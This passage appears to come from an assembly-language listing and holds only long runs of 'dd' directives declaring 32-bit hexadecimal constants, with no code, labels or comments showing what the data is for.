		dd 0CF013980h, 23A4A17Ah, 0E5EBC850h, 0D0E955BCh, 0BB1642BCh
		dd 0FA1088D0h, 1895B4A8h, 59084F0Ah, 46564020h,	62B40052h
		dd 0B068A01Eh, 8084B4AEh, 0F0F6E57Bh, 0BA01E1E3h, 0CD7ED3Bh
		dd 9D10F2AFh, 37147C4Fh, 0F60203h, 0DCA0A441h, 0CCC14899h
		dd 5A905168h, 0C729058Ch, 383CC094h, 2000FCDCh,	0E4BC2C7h
		dd 1F0464Eh, 92A83D1Dh,	39136CBFh, 804000E0h, 9C118CD0h
		dd 29AA0977h, 8454D899h, 45245D02h, 16CC5252h, 5D1897FBh
		dd 27742CE8h, 14113497h, 5203F480h, 7304CC08h, 0EDB36EF3h
		dd 2BD758E2h, 39FE10E4h, 0B3957EC3h, 0E26CC4CCh, 10D480FCh
		dd 0FE072F4h, 2A2B9DBFh, 4D3AC8Fh, 8042B66Ch, 0BBC74C3Ch
		dd 4709A09Ch, 0AC1C48D5h, 285DEE56h, 18B43E9Eh,	59DAA36Dh
		dd 0D47B4788h, 0CEA0CC00h, 0F7697C90h, 0E9151671h, 23403AD0h
		dd 0A99B0052h, 93C359C1h, 767A8C5h, 7B93CB0h, 95F9308Bh
		dd 41A0C0D1h, 6600DB15h, 20BEE56Ch, 2EEAC942h, 90F8E73Dh
		dd 0F2418262h, 56284424h, 0F63AB80Ah, 61C4404Eh, 53C1156Fh
		dd 87694460h, 0FD3ABB4h, 1BAF0D65h, 107A4AA7h, 0ED14F779h
		dd 362A2600h, 0C132C415h, 0B43700B7h, 4A909CEEh, 0B11D4E7Bh
		dd 0DA00A171h, 7D323FDDh, 0B71D0710h, 814088D4h, 0F00A3B39h
		dd 34E0096Dh, 0ACA6221Ch, 0EECC3740h, 9F2BB4h, 1C7EC18Ch
		dd 0BAAE4D88h, 69F87700h, 5F1E7871h, 0D8AF00A4h, 0E47D7901h
		dd 882C8F22h, 0A30A28DDh, 2A8BD42Bh, 91541756h,	0BF8B14h
		dd 1764970Eh, 1FBE00F4h, 4F42AA2Ah, 1C92CB99h, 0B7BC7211h
		dd 23642F4Eh, 835A00E1h, 8BC0DFA1h, 0DCE5D52Ch,	58902403h
		dd 9C87B04h, 0BEF8F4C8h, 87D9B490h, 90AFCC96h, 1386A08h
		dd 0F2D16F6h, 9737B5F8h, 846E1F19h, 1D858B00h, 1A4448FBh
		dd 4E50864Ch, 0E6683C05h, 0F1C990F5h, 0C472FC00h, 90177F28h
		dd 739A4705h, 9856A3D4h, 0BC404C0h, 4810C029h, 0EF95716Ah
		dd 62AEE017h, 0C87850C0h, 2E924AEEh, 3A5810FCh,	0D8F974C0h
		dd 4F0685CAh, 8EB582DDh, 677508B0h, 6301EEE8h, 896F3D53h
		dd 224FCC11h, 1F0F78F8h, 0AA938A1Dh, 5B12C21Ah,	44A2D0C4h
		dd 6430FDF2h, 307B00F2h, 671D97FCh, 0DE0255D5h,	1B24E368h
		dd 42A06762h, 8418F4C5h, 581E00C7h, 2F29B28Fh, 0D712757Bh
		dd 7848EF90h, 0F880B9F7h, 3D978CBCh, 3E002D9Bh,	8A770115h
		dd 4A3627C9h, 0A75C2C57h, 0B9644488h, 0FA9F391Ch, 0AA1C4B6Eh
		dd 3F749460h, 211988h, 480B9B06h, 0CDA32A2Ch, 4F5851CEh
		dd 6B8240EEh, 904F449h,	174ABED8h, 100830E6h, 8067EB20h
		dd 4D4C68F5h, 0BB2164h,	38F69870h, 0B5E9B91h, 604D6D1Ch
		dd 4FD35FC0h, 0B3AD0222h, 0B283B016h, 5D5BCCC0h, 0BB08549Eh
		dd 9CD98BD1h, 0B58C8E4h, 205ACEECh, 6E998B08h, 1EE7789Dh
		dd 1322B172h, 74808066h, 0C558D3C4h, 0D4C1A780h, 0B840192Bh
		dd 9491ACC9h, 18E75C18h, 21E001BCh, 829F948h, 0D5D4441Dh
		dd 0E2708560h, 3050E238h, 74009286h, 0CAB72FD6h, 334A9C20h
		dd 0E3F1C55Ah, 50138196h, 15003180h, 0CF0C46A6h, 6B110109h
		dd 87EC3B42h, 5305D899h, 0DFBEF309h, 8218AB16h,	0F955DCE4h
		dd 181A7118h, 545913DFh, 782C436Eh, 210017B0h, 916943E5h
		dd 38DFE00Ch, 1E9FDD48h, 0C05A38AEh, 325B2C7Ch,	3F7DD7FCh
		dd 0E8CE4D26h, 0E8981418h, 0D28E4ACAh, 4723A0Ch, 0C42C532Ch
		dd 0BEE4694Ch, 7E380BCh, 0D6BB440Bh, 8A711700h,	0B7C5965Fh
		dd 4F5EFE5Dh, 3628D313h, 300931CBh, 59924DC6h, 399A73F8h
		dd 27BC8A18h, 0C0A0AF64h, 445DC25Bh, 3FB9AE12h,	42B068E0h
		dd 4A0D0815h, 80079189h, 751E7EA2h, 13608C28h, 792A2D21h
		dd 0D88F001Ch, 0B8152F3Bh, 58DCF4FCh, 0E4CCC525h, 794360DDh
		dd 0A8960F61h, 1A618CA4h, 64737017h, 0B772E6ACh, 0E99431C0h
		dd 2FB6269Ah
		dd 0A4179308h, 6039FD08h, 2A56DE65h, 77F8C30Bh,	647869AFh
		dd 93ACD940h, 91CD7C88h, 8398001Ch, 0CC262ABFh,	0F800277Bh
		dd 70501D2Ch, 92D0A3Ch,	7AF774E7h, 0C0E2F8E5h, 0BA3218F4h
		dd 277C11Ch, 35DA7401h,	0A430949Fh, 5E951C4Dh, 52FED683h
		dd 276882ACh, 0A814C031h, 8CDFBCA4h, 8D150E00h,	0FCA0FEAFh
		dd 2F771248h, 0D978020Bh, 9CA4F16Dh, 6C44F42Dh,	0DADEBC13h
		dd 1F4DA902h, 0FD40E10Bh, 0F88B4908h, 7D227DCAh, 0CA8005Ch
		dd 94A24291h, 0D301B8F2h, 753CA52Dh, 0C04C5DF8h, 696304BBh
		dd 0C80785A2h, 673C1ADCh, 926400F7h, 43747158h,	25D4B2C0h
		dd 0F848132Ch, 0AD05EC4Ch, 20189F0h, 16B174C0h,	35EB1CE6h
		dd 0ADB42655h, 5891B017h, 80B10587h, 0CC88F8F3h, 0F7D9FC00h
		dd 0A6E6321Ah, 16DE814h, 4D2F5DABh, 0DDA3BC67h,	9C6C7020h
		dd 4F88A70Fh, 8957C871h, 4045B83Ah, 18F4C6E2h, 7C005CD1h
		dd 966532BDh, 9C6AFCCh,	56C939F7h, 14C288E5h, 0E10218F5h
		dd 5086D44Ch, 0CC44B9B0h, 42714BD9h, 3BC6FC78h,	0B94F8CE8h
		dd 48382227h, 0C1C51CC4h, 3AB8EFE8h, 95189D67h,	0C97C9987h
		dd 27FC05B0h, 536740Ah,	23854DCh, 0F2FC819Bh, 57C3270h
		dd 4BEB3609h, 400600C0h, 808BCC3h, 0BC8EE7C6h, 8EB8A68h
		dd 0E4904525h, 0A88764E2h, 47747380h, 4DD0C9BEh, 2FFEF0C8h
		dd 0C71D1286h, 62AB13A0h, 0F8215580h, 0F6C0C734h, 10D00C9h
		dd 306EA42Fh, 0EC44B01Ah, 7B2100EDh, 2066E727h,	0B900D433h
		dd 26B4363Ah, 2FFD3482h, 0DC801099h, 1C4D2983h,	6D53C005h
		dd 0A4A388EAh, 0B83317A2h, 94C8680Ch, 801A03C8h, 1CB05DE3h
		dd 181DBE6Fh, 5C6C7544h, 0AD536240h, 4895E49h, 5E0EC2Ch
		dd 14A26645h, 0E71B7209h, 177924D1h, 0FC2D7E18h, 0EF98A012h
		dd 18F9AA8h, 0EEC0DD86h, 31575DE4h, 39218160h, 0BF134D1Dh
		dd 9E1FF434h, 4D465C74h, 6B607A04h, 808BC71h, 80A32176h
		dd 76D2B39h, 0E8DFE165h, 485A4087h, 9DDA121Ch, 0ADF56801h
		dd 0B48FF8DFh, 7CA41450h, 0BC7240C1h, 1C20C6ABh, 0CB89892h
		dd 0FC216334h, 0F43CFB68h, 0DD1BBC6Bh, 353C10E0h, 8C72517h
		dd 2B02FB10h, 54E7CBF5h, 0C8650E3Ch, 981D1ACBh,	0AA82F411h
		dd 38526FD8h, 6809045Bh, 8250F1FFh, 3087EAFAh, 0E94B29E0h
		dd 0ABBE7003h, 30A66734h, 2721C108h, 0F0FE44B5h, 0BC37D100h
		dd 3F1D9908h, 0E6E0407Bh, 0D90A9D0Fh, 0BD8FE0F8h, 1D86B5ACh
		dd 65CFE6Ch, 29E69FE2h,	73DD8A00h, 14DA7D01h, 0CA6533FAh
		dd 21008F08h, 4673D5A4h, 131C218h, 0E4F30684h, 8CDD07h
		dd 0E4718DEAh, 0DD7075Ah, 0F35E124h, 19ED2920h,	0E600E289h
		dd 0ABF97B31h, 1879FE63h, 98C70941h, 111870D0h,	0C283101h
		dd 99DC1FBDh, 6A078054h, 66F530C0h, 0B669B863h,	328FCBA5h
		dd 0E5C85A20h, 1173E230h, 88F27D04h, 0DAA187F0h, 64601073h
		dd 0AC31A4B9h, 4FDD90A3h, 0AD6004C7h, 8A908Dh, 30EC2AD1h
		dd 8BC2300Ch, 0BAEEA781h, 0C40D4B0Fh, 0F40626DBh, 219F6708h
		dd 8ABAA0C9h, 0A03D1EBh, 2CA58EB1h, 50503286h, 0DF31E0B0h
		dd 527D7A70h, 0F32258CAh, 73D7AA00h, 0A75A350Ah, 19E26CAFh
		dd 58CE348h, 7D0273DCh,	0A7E038E2h, 773D400h, 0E02EE1C2h
		dd 12ED0C55h, 0C821F99Fh, 17009D7Dh, 5FECFB40h,	0F6B06265h
		dd 50097C23h, 0C031D4C9h, 0A33987E0h, 0E4A8B1F4h, 34408111h
		dd 0B5E70CDAh, 1029336Fh, 0DD270F0Fh, 8B8621B9h, 8983BB1h
		dd 8F12124h, 0D04D2700h, 0B397D871h, 96C92FDh, 435117Fh
		dd 984F1C21h, 0F258225Fh, 98A830F3h, 78EFD00h, 0EB420540h
		dd 0BDAB3E55h, 94308324h, 0F20A987Fh, 80E06FB1h, 0D978ED87h
		dd 824829E8h, 0AFB30C48h, 306199E5h, 12184FDAh,	0F31FDEB5h
		dd 670D3763h, 3F4413Eh,	0D02664A6h, 60EB4AF8h, 40F0465Ch
		dd 5930B7DAh, 0F01D49C8h, 27A30010h, 0D835B063h, 6034A82h
		dd 0A64119FEh, 5882BC72h, 0BAEF300Dh, 18CCE9F9h, 66408AA2h
		dd 0DF0EEFBAh, 61B26C0Dh, 0E9FBE2D5h, 8BE32430h, 4412C2h
		dd 61744905h, 84022CABh, 930830EDh, 4FBA9038h, 22E4460Dh
		dd 0E2C5009Dh, 915620BAh, 2707619Fh, 0B511D0ABh, 0D703F82Ah
		dd 8A663Fh, 0E0D5BA79h,	0EAB6FB09h, 59080F62h, 0A188A0F6h
		dd 0E72A39h, 0EBB798AEh, 23DE4090h, 0E025DB3Dh,	148A7D30h
		dd 4CD4EC10h, 4FC4AC58h, 2617F84Bh, 0CE64ACAAh,	44B73940h
		dd 0A358F117h, 0FB90182Ch, 0D4EF91h, 7E95D3CCh,	3F655CF9h
		dd 3B6A9709h, 4288237h,	12E500B0h, 8C90FDCDh, 90E6D418h
		dd 0ADEDEA41h, 7B98C0D0h, 0E407F047h, 397E4556h, 8170D401h
		dd 9D882C4Fh, 69915FC0h, 1D0E0390h, 9267F516h, 0B848217Ah
		dd 7D0D9FC8h, 7C411986h, 804899Bh, 4BC7D8ACh, 6E70EF11h
		dd 3D88C218h, 494400B3h, 0CC9ACEADh, 0C02405F5h, 3905C4B1h
		dd 9800DED5h, 0E5D4AD3Fh, 0AECCF9B9h, 0F89424B5h, 60BC02D8h
		dd 14402855h, 0C2D2DAD0h, 270E3860h, 3BB923DEh,	0F0002511h
		dd 0AB602737h, 7A48781Fh, 0FFA0CECh, 6059213Ah,	0A45DA9FCh
		dd 7E009FB9h, 5A14BA65h, 2AF6D36Ah, 1DB8FD90h, 8E789D13h
		dd 48806605h, 0F44139EBh, 0B3118499h, 0A2270587h, 2C3163B9h
		dd 0B800F713h, 0F08D4703h, 2CB9C77h, 4319744Bh,	0B468B53Dh
		dd 0FA02DA09h, 0E6488FCEh, 44F44735h, 0AC2C609Ch, 70800ED1h
		dd 0FA832A1Ch, 8905360Dh, 94817CB9h, 467F8892h,	7180992Ch
		dd 0E4C4199Eh, 0D9F9057Dh, 40F759DFh, 1106C8ACh, 0D83BA424h
		dd 0BFAC0083h, 7693D403h, 72FD24B7h, 0B3C04C8h,	0E23888C2h
		dd 9894B10Bh, 7F5C81A3h, 6875D509h, 9120B0BBh, 0E78918C4h
		dd 8991921h, 3AC142A1h,	0F8204005h, 30CF4061h, 0BC60BD09h
		dd 87688435h, 0F048748Bh, 0BC008E4h, 48BAEDC0h,	22DC460Dh
		dd 0E5CA0098h, 9C167EBAh, 43384A2Bh, 0A77D842Eh, 3000F459h
		dd 0CD6A556Fh, 0F27D500h, 87C028Bh, 45F92E70h, 9A467444h
		dd 3073E816h, 6B42F520h, 80E91A3Dh, 8063DC35h, 3F53E87Fh
		dd 8100A0AEh, 2BE6FE29h, 70ADEDF4h, 48BFC641h, 44004771h
		dd 3E908FDh, 9735CF29h,	6DF87A7Fh, 0FCECAD6Bh, 0E2D47D02h
		dd 82E66474h, 0B071D0h,	1BD1411Ah, 49897B32h, 0E030ED87h
		dd 0FE793F1Ah, 974AECA8h, 88E7B62Ah, 0E32F1C03h, 0E96718DFh
		dd 78629F34h, 66AD2600h, 0D192FB3Eh, 0CE0091E4h, 0C8B90AF6h
		dd 7E8AC7E2h, 183B74D9h, 10C610A7h, 48C34FDh, 0B4B830E7h
		dd 3BE84102h, 41B2CBBEh, 4B0EA69h, 0FE50F76Eh, 0E08CB478h
		dd 0B9DC1127h, 802D880Bh, 322709F2h, 0C7000467h, 5D8A4FCDh
		dd 32F6760Fh, 83618563h, 0D5A2B7C3h, 4C3FDC6Ch,	0B670084Bh
		dd 40CC64ABh, 3D44B438h, 6D5218C3h, 738A713Fh, 488C5400h
		dd 5AE1CE53h, 0EFF91D4Ah, 4F34C241h, 0A04A40B5h, 18847009h
		dd 44B260D7h, 0A67029E8h, 0CD113Ch, 444BA26h, 2E2AD35Fh
		dd 74A4BDBBh, 90008D46h, 0F98A6FA2h, 8FFA97C6h,	0BF084561h
		dd 6205FAh, 46F5E5C0h, 457120ACh, 0EDF75801h, 0FDBF71E8h
		dd 8C098C20h, 4EBAEB04h, 0A362EC0Dh, 0BAE3C420h, 0EC0A1262h
		dd 0EBC100B2h, 0BD90A1DBh, 671F360h, 580540h, 6D3EC478h
		dd 0D1DE4389h, 996AF618h, 0B9BB9049h, 0FF9F0C7Ch, 5F099EE1h
		dd 1A07513h, 23BB1F96h,	7B21A421h, 8CECF428h, 0B4D7008Ch
		dd 0F92A1D54h, 0B812D6F4h, 483A8E3Eh, 74032423h, 0F890D0h
		dd 77C0DB61h, 0C2153A0Ch
		dd 507A0400h, 6E37978Bh, 0D139C135h, 0F8224EDEh, 0F688F19Fh
		dd 1C687CB7h, 4034BB49h, 0D3B26A1Ah, 2F3C22EBh,	975E00C8h
		dd 0D1DC4CF1h, 0C6EF067Ah, 41807B3Fh, 0BD7EEE05h, 8C4954A4h
		dd 4487E04Ah, 17A64A6Dh, 5B2C20D4h, 0CE007C66h,	0D642A9C3h
		dd 4DBA9Dh, 0B4CC2349h,	90F8E2B3h, 0C801B529h, 6500F911h
		dd 0AB649795h, 50006B36h, 4C05E7BEh, 0E88DB4Ah,	2E46C05Ah
		dd 6638FB00h, 41167918h, 0EC03C4C9h, 26FC703Fh,	407CDD49h
		dd 8B2A170Eh, 3859FD12h, 0FB0644C0h, 605C9107h,	0C83F93D9h
		dd 12702F48h, 3030F1B3h, 0A06813h, 314ED260h, 0F84B0B45h
		dd 1D0AFB18h, 0DE7F3F49h, 80D21E61h, 886D4989h,	0A8C8070Dh
		dd 0F96742B1h, 0A5118E11h, 0B1EF4096h, 0BF134E59h, 0B44A5A6Eh
		dd 0AC10C848h, 0A5EC5D2Ch, 8C918497h, 20631781h, 98C4D402h
		dd 6D00D8A6h, 35FF2DF8h, 0F57113Dh, 60AA6275h, 3FFE9941h
		dd 0EE6C407Eh, 704D8D11h, 0DCEB0D4Ch, 7833C11Fh, 5F309FA2h
		dd 0C9B41401h, 0DE20A853h, 0E0FACF26h, 360B144h, 0B923E127h
		dd 261113h, 0A5270CF5h,	24A3DB4h, 3A78D07Eh, 81755E90h
		dd 4518EB4Ah, 2648C091h, 4DCE410h, 97371B02h, 1850E2B0h
		dd 9AD99BDCh, 64270098h, 346B4376h, 2D00E7A1h, 0C823F75Ch
		dd 9E1F68Eh, 91417D4Fh,	0B0E8082Ch, 2704048Ch, 386BB9E0h
		dd 270D02F6h, 0DCAD37A1h, 0D71E385Ah, 6A4016C0h, 8266DEE9h
		dd 23B906F9h, 0A9C5B497h, 9E79F511h, 51606E3Fh,	40419DBDh
		dd 98CD0D07h, 0DFA0825Ah, 16FF3BEh, 0D2433A89h,	30BCE8CBh
		dd 3C4204F8h, 0DB07FE22h, 200893DCh, 0F91438D0h, 699460DDh
		dd 5F74B5CFh, 9F41000h,	0B9E21D0Bh, 9DE00024h, 8B7F20FAh
		dd 970D2AF1h, 0A9E4BFB5h, 7F02B833h, 0ABB8ACBDh, 91DD3C60h
		dd 0E35319C0h, 25354Dh,	0E8F4A72Fh, 37A37865h, 777CBB09h
		dd 654A0AAh, 60DCAF44h,	4ECC3990h, 0ED0021A8h, 0E7FEA97Eh
		dd 73D94Ah, 7418BCDCh, 0B437E2D6h, 0F60CD774h, 8E8DD95h
		dd 1D10EE7h, 66090B2h, 4D8A577Fh, 0F087C01h, 0E0DE4C07h
		dd 8BAB1470h, 0F7904012h, 5DD89C40h, 0A8D024h, 0FC9138DBh
		dd 7A505781h, 0D1CBC01h, 0D73F22FBh, 419C05D1h,	740F8787h
		dd 0BEE7C07Eh, 0F6144EABh, 88E0977Bh, 3B62833Ah, 46D0B780h
		dd 3D1FBAF5h, 3F894C10h, 6D489974h, 0D7021062h,	0EF29C2A1h
		dd 1444DCE0h, 0A0DC449Ch, 7A283Eh, 0E485E277h, 8F67F69Ch
		dd 3FE7A1C1h, 9C30CAADh, 6FB1918h, 0EF598128h, 8757493Dh
		dd 4596BA5Ch, 4B661A00h, 8B381650h, 0C91400D9h,	0F6D0C01Eh
		dd 59887931h, 4029B090h, 0E5CD7100h, 825470D6h,	2CD11899h
		dd 78E60518h, 0B8CAF600h, 4C5D42DCh, 502400E0h,	0D43EF20h
		dd 0F8B6F9C2h, 28F409DCh, 75788EAAh, 0ECE3EF05h, 0B8083451h
		dd 4B48C0D9h, 564F70EEh, 583CA82Ch, 2401B5B0h, 9079B216h
		dd 2304633Ah, 73DE0EE1h, 62D27D04h, 0D6A52089h,	0C0006B73h
		dd 8FEDF141h, 0ECBF2791h, 6832E790h, 0FFAEE04h,	4C011E31h
		dd 141B6172h, 37235869h, 4CBAE901h, 0E073FC0Dh,	0BAE1C680h
		dd 35009D1Fh, 0DE957049h, 606EB33Eh, 3C0F6121h,	200CDA6h
		dd 1D20E067h, 0E4C13Eh,	43BB7F5Fh, 0D1117333h, 183640A9h
		dd 272FB8E8h, 0A816F40Dh, 0BAE0C700h, 2347B6E7h, 3F0F1E12h
		dd 0E6582072h, 7D10714h, 7440647Ch, 0C5764B61h,	37B79068h
		dd 59564188h, 291180CBh, 0F0447748h, 0F5EAD5h, 6CBD6189h
		dd 841ADDCFh, 0CACEDC1Fh, 1D0D705Fh, 0B823502Dh, 72C9C700h
		dd 15FA1C05h, 36C11400h, 97E3081Bh, 0C667054Fh,	80E6B771h
		dd 66B2C760h, 4CFFC23Ch, 130D256Ch, 0E160CC4Ch,	7D230573h
		dd 26F211FAh, 8B0072A0h, 0B9273E19h, 59823F45h,	9181D1E0h
		dd 0F11DC924h, 23002129h, 0BAD18B4Ch, 45E61FD0h, 4B00247Ah
		dd 9B7B7402h, 0B54FED20h, 0A886584Ah, 7EE5251Dh, 86BC284Dh
		dd 6AD1C300h, 3F59E981h, 0E49F2818h, 10512534h,	188084A9h
		dd 5A7307FAh, 0A4BB920Ah, 2D978C04h, 0C529A820h, 0FABD00D9h
		dd 0B7A2724Ah, 0EC9444BBh, 4DFAF80h, 0CF165h, 8A341263h
		dd 857EB033h, 3EB4B953h, 0E7BB1DDFh, 72D14905h,	6150E832h
		dd 4A10E3B0h, 674CA539h, 0BA285078h, 0F89DD38h,	0F296BA8h
		dd 9F7084EEh, 0EA4E4h, 0D4C842BAh, 222C9A12h, 0E34DB200h
		dd 7863054Bh, 90EF41Dh,	0D4C02067h, 493C7880h, 0FA0BD96Ah
		dd 11DDBF03h, 0EFE02768h, 1062009Eh, 967BB02Bh,	9C06938Dh
		dd 8A78F66Eh, 0E97529h,	0BBDC4E2Dh, 7607F8FBh, 6E656300h
		dd 0FCC8933Eh, 3A3890D6h, 0DA036256h, 0FD87100Bh, 6B303800h
		dd 1E354005h, 7DF04CDh,	0C8B9974Ah, 0FC9E9EC4h,	1517A8Bh
		dd 3C481094h, 144945D1h, 0B4908C00h, 0AC11C0F9h, 0F4341748h
		dd 67054007h, 5940CD77h, 2513416Fh, 0C44890D7h,	2D03898Bh
		dd 71054F19h, 0A21286Bh, 3F497898h, 0F60E870Eh,	0F0981161h
		dd 8A00B1E8h, 7103B3C7h, 6B6460h, 0AB242EFDh, 41A7C3CAh
		dd 0A5343A00h, 0E6EE373Bh, 0B8FB0CCDh, 4060F30h, 92E1F300h
		dd 25D4C960h, 2FEA1F05h, 806B1EB7h, 0CA19E51Eh,	82B0DDA8h
		dd 30E460C7h, 0E18974B0h, 0E8C771A3h, 4A7F03BDh, 0F8EF3E0Ah
		dd 2CBADE0h, 372EC300h,	3FAEC760h, 730B09EAh, 0BA0016F6h
		dd 31572CF3h, 89C370Ch,	0FA60B870h, 40620082h, 14A03DC3h
		dd 0CA0EE559h, 27ECF337h, 5801981h, 63EAE99h, 8D799791h
		dd 64010260h, 8293CD02h, 0BDC1FEAh, 9D4D0146h, 0C3147A76h
		dd 0E362C0E0h, 0C8F8BB00h, 0A8A01972h, 20E15060h, 8B371BE5h
		dd 3AE08840h, 71078F20h, 0A606B163h, 0A83CB5E0h, 0B956004Ah
		dd 7F0188Ah, 6DFAC291h,	385E003h, 90280124h, 3B13229h
		dd 0BF5ADFA1h, 88A82BEBh, 0B4E49AC0h, 0E290FA00h, 0ABA9EE43h
		dd 0DBC20672h, 28719676h, 0FF7C3C7Bh, 9E483800h, 0FDC0675Dh
		dd 0A3B9482Ch, 0CE3FDF1Dh, 0CC8366B7h, 64B00BD8h, 0AB00C0D9h
		dd 0B0C1F7AFh, 0EE78F56Ch, 6B2A0E87h, 738C905Ah, 407ED708h
		dd 78E97003h, 0A1F79582h, 0D960757Bh, 3C73FA5Fh, 0BF0EB1C3h
		dd 0C1E7AA1Eh, 0FF5340C0h, 0E530109Dh, 8B4B10C2h, 801D006Dh
		dd 0FD3CC34Eh, 3F307138h, 0C79390B4h, 7ECA7FE2h, 68DF00ABh
		dd 3FF21130h, 780D2B70h, 0C8C453F0h, 0AB3CFA00h, 2F060F48h
		dd 87230294h, 809785ACh, 42E27363h, 0A20193FCh,	786B5331h
		dd 0A842AA4Fh, 3F9890E7h, 344E0081h, 5C42EF85h,	0C80CFCA5h
		dd 218416F8h, 0EA647C41h, 7BB4F00Dh, 0F36C000Eh, 6B50967Fh
		dd 0DA00C2A4h, 10E9BEA5h, 3750E66h, 7F0B8D54h, 39E0CAF4h
		dd 0EC1F3AA9h, 3298C691h, 6716DFC8h, 73266178h,	99E096FEh
		dd 3901BD04h, 77DC92BCh, 0F9808E1Ch, 0F75C22B2h, 0E000B527h
		dd 35C81751h, 0B6A0A9h,	2C5FC63Fh, 397ADA0Dh, 0F09561C0h
		dd 0E15514h, 59B8126Ah,	0FD5DB041h, 6C3ECAECh, 6B0208A2h
		dd 0EC1028B2h, 3FDC00D4h, 6353AF30h, 0AD76F0EFh, 58E7490Ah
		dd 747504A8h, 427D900h,	0D0A18969h, 0A5610784h,	0C3EDC92Eh
		dd 180F7F44h, 0E7104723h, 0DBC0B481h, 6502EE0h,	6584C754h
		dd 0F03030ACh, 264759A7h, 1E607BCh, 9E8785F7h, 0F8A07480h
		dd 8076B582h, 0B45A422Ch, 54001B1Eh, 417E8C27h,	0AF380C22h
		dd 5F49A3F9h, 6750C03h,	0E04F4426h, 6C8F3A8h, 3F51D94Ah
		dd 0FD00C131h, 689F21D6h, 0D776A3h, 46836374h, 0DAEBBDA9h
		dd 54CDDB01h, 1D95E34Eh
		dd 7B02D2E4h, 5A50064Dh, 48556231h, 281C291Fh, 0DF221780h
		dd 7965424Fh, 64E1002Bh, 5D11A1Eh, 9B50062Fh, 30414898h
		dd 418718CDh, 6A93ED90h, 9D1C8Ch, 0F3215FD1h, 0EC02CDFBh
		dd 296E9051h, 0D30880C3h, 0C28E97Ah, 71BCE2EBh,	6F008190h
		dd 3AAF6B59h, 0A0165839h, 5D1B34h, 11DEDB2Fh, 0B834EB55h
		dd 2854070Bh, 59D78047h, 2A27CA46h, 10E43F1Eh, 83A8BAECh
		dd 10C3DEEFh, 1E4610B0h, 0E38EA7B5h, 0B6C6C062h, 394BEDD6h
		dd 0B1D8D388h, 40287C1Fh, 4CEA7ED7h, 3A0014A5h,	32C57189h
		dd 33CEDE3h, 0CCBEA324h, 0C6CBCB6Ch, 7C0118C6h,	49A7EE4h
		dd 205B45C2h, 427611h, 8835C7E8h, 0E8F507E6h, 0E099E8A6h
		dd 3E3D0F2Dh, 580E584h,	0FA69A739h, 6F1D19E8h, 0D4DAD172h
		dd 7F203B39h, 414A2081h, 8E011484h, 4E3E3072h, 3F102F7h
		dd 74A2CC0h, 0A4F5C128h, 0A1DE0EDh, 1C023217h, 0EBBCDDBBh
		dd 834AC8Bh, 0C0BF6748h, 0DC805A72h, 0F4C0A087h, 43A122h
		dd 25346FE7h, 17C8A42Ch, 4557026h, 9A8D8657h, 4CE01056h
		dd 700149h, 5E73B03Bh, 3DADBFh,	358DCA9Ah, 758C163h, 29D7B232h
		dd 3BA3107Fh, 0D7084989h, 10E60D45h, 0BD883933h, 246E8862h
		dd 404FE788h, 3144F272h, 4228A071h, 41EB890Fh, 11377414h
		dd 2B126885h, 402F2884h, 0B9FA11ACh, 5A831E70h,	0C007B28h
		dd 50B141B4h, 0B0015C26h, 8CE9B701h, 98DFA7E3h,	0F9A9DBBh
		dd 55A2E5B9h, 0ED19B840h, 0A61D78B2h, 0CC008704h, 0EB3994C3h
		dd 0C5F3008Ah, 0A4A7D043h, 0E1EEF466h, 0A5032500h, 72C4547Eh
		dd 0CA481EE6h, 0C3D24F1Dh, 13DE4E00h, 4D002D31h, 0C11F89ABh
		dd 7BC2CFh, 0A6F8C6D6h,	65AF08D7h, 78ABEE07h, 50D71773h
		dd 6C8C14A0h, 7BD50763h, 90BBB605h, 0EA023AA5h,	0A6009BFCh
		dd 0E63D52F5h, 0DFDD8h,	227D3FCBh, 0D25725A4h, 442F1A00h
		dd 0F80496Ch, 67D3006Ah, 0ADC6328Dh, 8E007F6Eh,	0FE0E9873h
		dd 89298Ch, 7E6BFA64h, 6850CB3Fh, 4638D460h, 1F32D6AEh
		dd 4066F71Ah, 5D3B7387h, 0A100DBACh, 23F07F2h, 0D908DAh
		dd 0C262151Ch, 0A0E041FDh, 17EA470Eh, 97F3407Fh, 71A5757Ch
		dd 0E96C0EF8h, 0D680AF24h, 9571DC37h, 3AED0D00h, 0EEDA5062h
		dd 5CCB0014h, 7BD9F6EAh, 0D6900541h, 5E3D6A7Bh,	5200F694h
		dd 1675EDE1h, 0EA1B9C2h, 0CE477796h, 15768A40h,	0AF3C1364h
		dd 1B8B80E9h, 9B58AD46h, 0A2C9049Ch, 80A5047Bh,	31E0B08Ch
		dd 0BFA85600h, 85A1E218h, 3AE45Ah, 9D220F0Bh, 3215D680h
		dd 0F4E47100h, 9B7426EFh, 3B9900BFh, 5E341AC7h,	0FA007060h
		dd 0D2C1AEA4h, 25B72Dh,	9D2C6BEDh, 9A7340E9h, 0B0F0900h
		dd 4515DFB3h, 0E55204CAh, 0BA76C4ABh, 0EC352100h, 0C272CDh
		dd 658E4F33h, 0A190270Dh, 2BD80A00h, 7EA3A02Ch,	48DD00E3h
		dd 3ADB1A6Ch, 312F245h,	0F400A2EDh, 0C59EF95Ch,	199F608Dh
		dd 55F70545h, 4DEFAF01h, 480ECEBEh, 0A0430h, 98A9948Fh
		dd 55992B57h, 0DC4DC400h, 5CD9317h, 0B73700C0h,	6C390773h
		dd 70076B79h, 0E0133F84h, 0EA5881D0h, 2528038Bh, 0B911D094h
		dd 0ECBEEFE8h, 0FF14A3Ch, 20E10652h, 0F23CFFBh,	2A58005Fh
		dd 449E1559h, 0A800DA8Fh, 16EF3D12h, 3C4C5Eh, 723BBD21h
		dd 1C335F5Ch, 0CCA1B00h, 935EA976h, 689B4DD5h, 0F39F0072h
		dd 7D19F9CCh, 0D73DE052h, 10500476h, 0FFC33D67h, 216C08Ah
		dd 0BBB70343h, 0CCE4781Ch, 0AB9AAC8h, 0D54FEC00h, 0B4C5D901h
		dd 47151204h, 99BC0046h, 45A28E70h, 0B988CB00h,	77B4298Dh
		dd 46051FAAh, 7DFD0F61h, 8626CFC0h, 7C0F1C62h, 0C0E35895h
		dd 415CE6C4h, 0F6AC009Bh, 26C03531h, 0D3007BD0h, 686F80C3h
		dd 14C9864h, 0AB5171Fh,	0C22A1B8Eh, 0E80640DDh,	24DCE212h
		dd 304AF52h, 217BAD42h,	0C432AEF9h, 171FA684h, 28404C83h
		dd 444BE73Fh, 68A83F4Ah, 0C0549302h, 1A60BECBh,	7090B377h
		dd 6ABB0400h, 7F89FE8Ch, 884C35F9h, 0F3310109h,	0FD608D2Eh
		dd 0B60320E8h, 4D988400h, 0EC38256Bh, 491D0EA8h, 5CE0AA8Dh
